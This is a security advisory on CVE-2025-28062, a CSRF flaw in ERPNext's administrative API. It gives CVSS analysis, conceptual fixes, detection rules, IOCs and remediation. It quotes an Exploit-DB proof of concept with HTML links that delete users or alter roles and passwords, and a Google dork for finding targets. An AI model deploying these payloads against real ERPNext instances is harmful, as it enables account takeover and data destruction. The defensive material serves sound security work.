CVE-2025-28062

Executive Summary

CVE-2025-28062 is a critical Cross-Site Request Forgery (CSRF) vulnerability affecting ERPNext versions 14.82.1 and 14.74.3. The vulnerability allows an unauthenticated attacker to trick a logged-in administrator into performing unauthorized actions, including user deletion, role assignment, and password resets. This can lead to complete account takeover and compromise of the ERP system. The exploit has been publicly disclosed with proof-of-concept code, and no official patch is currently available. The vulnerability stems from a lack of CSRF token enforcement on sensitive administrative API endpoints.

Supply Chain & Package Security

ERPNext is a popular open-source ERP system built on the Frappe framework. The vulnerability exists in the core framework's API handling, affecting all downstream deployments. Organizations using ERPNext should treat this as a high-priority supply chain risk, as the vulnerable component is integral to the application's operation. No malicious packages have been identified in the supply chain, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

CVSS Score: 8.8 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network - The attack can be launched remotely.
• Attack Complexity (AC): Low - The exploit is straightforward and requires no special conditions.
• Privileges Required (PR): None - The attacker does not need to be authenticated.
• User Interaction (UI): Required - The victim must click a link or visit a malicious page.
• Scope (S): Unchanged - The vulnerability affects only the vulnerable component.
• Confidentiality (C): High - An attacker can access sensitive data.
• Integrity (I): High - An attacker can modify data and user roles.
• Availability (A): High - An attacker can delete users, impacting system availability.

Threat Level: Critical. The combination of a public exploit, no available patch, and the potential for complete system compromise makes this a high-priority threat.

Deep Dive & Mechanics

The vulnerability is a classic CSRF flaw. ERPNext fails to validate anti-CSRF tokens on several administrative API endpoints. This allows an attacker to craft malicious requests that, when executed by an authenticated administrator, perform state-changing operations.

The affected endpoints are:

• /api/method/frappe.desk.reportview.delete_items
• /api/method/frappe.desk.form.save.savedocs

These endpoints accept GET requests, which is a violation of best practices. State-changing operations should only be performed via POST, PUT, or DELETE methods. The lack of CSRF tokens means that any authenticated user's browser can be tricked into sending these requests.

The attack flow is as follows:

1. An attacker crafts a malicious HTML page containing a link or form that targets the vulnerable ERPNext API.
2. The attacker lures an authenticated ERPNext administrator to visit the malicious page.
3. The administrator's browser sends the crafted request to the ERPNext server, including the administrator's session cookies.
4. The server processes the request, performing the unauthorized action (e.g., deleting a user, changing a password).

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on best practices.

Vulnerable Code (Conceptual):

# frappe/app.py (simplified)
@frappe.whitelist()
def delete_items(doctype, items):
    # No CSRF check
    for item in items:
        frappe.delete_doc(doctype, item)

Patched Code (Conceptual):

# frappe/app.py (simplified)
@frappe.whitelist()
def delete_items(doctype, items):
    # CSRF check
    if not frappe.request.method == "POST":
        frappe.throw("Method not allowed")
    frappe.csrf.validate()
    for item in items:
        frappe.delete_doc(doctype, item)

The patched version would:

1. Restrict the endpoint to POST requests only.
2. Validate a CSRF token sent with the request.

Exploitation & Lab Setup

Red Team

The following exploit code was provided in the advisory. It demonstrates three attack vectors: user deletion, role assignment, and password reset.

Exploit Code (from Exploit-DB):

# Exploit Title: ERPNext 14.82.1 - Account Takeover via Cross-Site Request Forgery (CSRF)
# Google Dork: inurl:"/api/method/frappe"
# Date: 2025-04-29
# Exploit Author: Ahmed Thaiban (Thvt0ne)
# Vendor Homepage: https://erpnext.com
# Software Link: https://github.com/frappe/erpnext
# Version: <= 14.82.1, 14.74.3 (Tested)
# Tested on: Linux (Ubuntu 20.04), Chrome, Firefox.
# CVE : CVE-2025-28062
# Category: WebApps

# Description:
A Cross-Site Request Forgery (CSRF) vulnerability Lead to Account Takeover exists in ERPNext 14.82.1 and 14.74.3. This flaw allows an attacker to perform unauthorized state-changing operations on behalf of a logged-in administrator without their knowledge or consent.

Affected endpoints include:
- /api/method/frappe.desk.reportview.delete_items
- /api/method/frappe.desk.form.save.savedocs

Impact:
- Deletion of arbitrary users
- Unauthorized role assignment
- Account takeover via password change

The application fails to enforce CSRF tokens on administrative API requests, violating OWASP recommendations.

---

# PoC 1: Delete a User

<html>
  <body>
    <h2>Delete User</h2>
    <a href="http://target/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
      Click Here
    </a>
  </body>
</html>

---

# PoC 2: Assign Role

<html>
  <body>
    <h2>Assign Role to User</h2>
    <a href="http://target/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&action=Save">
      Add Role
    </a>
  </body>
</html>

---

# PoC 3: Reset Password

<html>
  <body>
    <h2>Reset User Password</h2>
    <a href="http://target/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_JSON&action=Save">
      Reset Password
    </a>
  </body>
</html>

---

# Mitigation:
- Enforce CSRF protection for all administrative endpoints
- Require POST methods for state changes
- Mark cookies as SameSite=Strict
- Implement re-authentication for critical user changes

---

# Disclosure Timeline:
- 2025-02-09: Vulnerability discovered
- 2025-02-10: Reported to Frappe (no response)
- 2025-04-29: Public disclosure via CVE + advisory

---

# Author Contact:
LinkedIn: https://linkedin.com/in/ahmedth
GitHub: https://github.com/Thvt0ne

# References:
- https://owasp.org/www-community/attacks/csrf

Lab Setup:

1. Deploy a vulnerable ERPNext instance (version 14.82.1) using Docker.
2. Log in as an administrator.
3. Host the PoC HTML files on a separate attacker-controlled server.
4. As the victim, click the malicious links.
5. Observe the unauthorized actions (e.g., user deletion).

Blue Team

Detection:

• Monitor for GET requests to /api/method/frappe.desk.reportview.delete_items and /api/method/frappe.desk.form.save.savedocs.
• Alert on any state-changing operations performed via GET requests.
• Monitor for unusual user deletion or role assignment activity.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block GET requests to these endpoints.
• Enforce CSRF tokens on all state-changing API endpoints.
• Set cookies with SameSite=Strict attribute.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /api/method/frappe.desk.reportview.delete_items
  • GET requests to /api/method/frappe.desk.form.save.savedocs
  • Referer header pointing to a malicious domain.
• System IOCs:
  • Unexpected user account deletions.
  • Unauthorized role assignments.
  • Password reset logs without user initiation.
• File IOCs:
  • Presence of malicious HTML files on web servers.

Detection Engineering

YARA Rule

rule CVE_2025_28062_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts for CVE-2025-28062"
        author = "Valters IT"
        date = "2025-04-29"
        reference = "CVE-2025-28062"
    strings:
        $s1 = "/api/method/frappe.desk.reportview.delete_items" ascii wide nocase
        $s2 = "/api/method/frappe.desk.form.save.savedocs" ascii wide nocase
        $s3 = "doctype=User" ascii wide nocase
        $s4 = "action=Save" ascii wide nocase
    condition:
        any of ($s*) and #s1 > 0 or #s2 > 0
}

Sigma Rule

title: CVE-2025-28062 CSRF Exploit Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects GET requests to vulnerable ERPNext API endpoints
author: Valters IT
date: 2025-04-29
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-28062
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/api/method/frappe.desk.reportview.delete_items'
            - '/api/method/frappe.desk.form.save.savedocs'
    condition: selection
falsepositives:
    - Legitimate administrative actions (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-28062 CSRF Exploit Attempt"; flow:to_server,established; http.method; content:"GET"; http.uri; content:"/api/method/frappe.desk.reportview.delete_items"; nocase; http.uri; content:"/api/method/frappe.desk.form.save.savedocs"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable endpoints: If possible, temporarily disable the affected API endpoints or restrict them to POST requests only.
2. Implement CSRF tokens: Add CSRF token validation to all state-changing API endpoints.
3. Enforce HTTP methods: Change the affected endpoints to only accept POST, PUT, or DELETE requests.
4. Set SameSite cookies: Configure session cookies with SameSite=Strict to prevent cross-site requests.
5. Monitor logs: Actively monitor for exploitation attempts.

Long-Term Fix:

• Apply the official patch from Frappe when it becomes available.
• Conduct a security audit of all API endpoints for similar vulnerabilities.
• Implement a Content Security Policy (CSP) to mitigate XSS and CSRF attacks.

Workarounds:

• Use a Web Application Firewall (WAF) to block GET requests to the vulnerable endpoints.
• Implement re-authentication for critical actions like user deletion and password changes.

Valters IT
Securing Your Digital Future

{/* [Security Hash: D7655111D3694CBF53E73479] */}